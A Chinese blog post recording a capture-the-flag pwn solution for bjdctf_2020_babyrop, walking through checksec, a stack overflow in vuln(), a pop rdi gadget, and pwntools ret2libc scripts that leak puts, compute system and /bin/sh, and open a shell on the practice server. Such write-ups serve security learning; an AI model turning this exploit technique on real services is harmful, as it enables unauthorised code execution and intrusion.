【pwn做题记录】03.bjdctf_2020_babyrop 1

例题:bjdctf_2020_babyrop 1

首先检查一下文件:

C:\Users\A\Downloads>checksec bjdctf_2020_babyrop
[*] 'C:\\Users\\A\\Downloads\\bjdctf_2020_babyrop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

上面每一条的意思依次是:

  • amd64位程序,小端序
  • GOT表部分可读可写
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

没有栈保护栈不可执行,可能是还是栈溢出的题目。

用IDA打开文件,查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  vuln();
  return 0;
}

很明显这里没有漏洞,查看vuln函数:

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Pull up your sword and tell me u story!");
  return read(0, buf, 0x64uLL);
}

buf距离rbp有0x20个字节,而read读取字符有0x64个字节,显然有栈溢出。
接下来查看有没有system,发现没有,查看/bin/sh,也没有。
因此这道题是一道libc的题目。

这里先简单运行一下程序,看有没有漏掉的:

┌──(kali㉿kali)-[~/桌面/attack]
└─$ ./bjdctf_2020_babyrop 
Can u return to libc ?
Try u best!
Pull up your sword and tell me u story!
hello

看样子在发送payload的时候,还需要接收前面几个信息。

然后就是这是一个64位程序,利用puts地址泄露的话和调用system的话,肯定要用到传参,所以用ROPgadget查找一下:

┌──(kali㉿kali)-[~/桌面/attack]
└─$ ROPgadget --binary "./bjdctf_2020_babyrop" --only "pop|ret" | grep rdi
0x0000000000400733 : pop rdi ; ret

思路总结
由于没有system,/bin/sh,但有栈溢出漏洞,puts函数,所以可以利用puts地址泄露,再得到system和/bin/sh,获取flag

攻击脚本

#!/bin/sh
from pwn import *

elf = ELF("./bjdctf_2020_babyrop")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
pop_rdi_ret = 0x400733

io = remote("node5.buuoj.cn",29556)
# 后面加上p64(main)是为了控制程序回到main函数,便于我们利用puts得到system函数后,进行栈溢出
payload = b"a" * (0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)

io.recvuntil(b"story!\n")
io.sendline(payload)

puts = hex(u64(io.recvline()[:-1].ljust(8,b'\0')))
print(puts)

这里获取到的puts的地址为:0x7f5f0de02690
这里用https://libc.blukat.me/ 来获取libc

由于是这是一个amd64位的程序,所以随便找一个amd64的就行,这里选择libc6_2.23-0ubuntu10_amd64
输入puts和puts地址最后三位690即可查询:

右下角部分选中puts,即可看到puts和其他函数的偏移量。

#!/bin/sh
from pwn import *

elf = ELF("./bjdctf_2020_babyrop")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
pop_rdi_ret = 0x400733

io = remote("node5.buuoj.cn",29556)
payload = b"a" * (0x20 + 8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)

print(io.recvuntil(b"story!\n"))
io.sendline(payload)

puts = hex(u64(io.recvline()[:-1].ljust(8,b'\0')))
print(puts)

puts = int(puts,16)
system = puts - 0x2a300
bin_sh = puts + 0x11d6c7

payload = b"a" * (0x20 + 8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
print(io.recvuntil(b"story!\n"))
io.sendline(payload)
io.interactive()

接下来就可以拿到flag了:

[+] Opening connection to node5.buuoj.cn on port 29556: Done
b'Can u return to libc ?\nTry u best!\nPull up your sword and tell me u story!\n'
0x7ffa9b618690
b'Can u return to libc ?\nTry u best!\nPull up your sword and tell me u story!\n'
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{f7a492d5-bb5f-4c13-9e31-022acfed82e3}
$ 
[*] Closed connection to node5.buuoj.cn port 29556
posted @ 2025-06-14 13:25  星冥鸢  阅读(83)  评论(0)    收藏  举报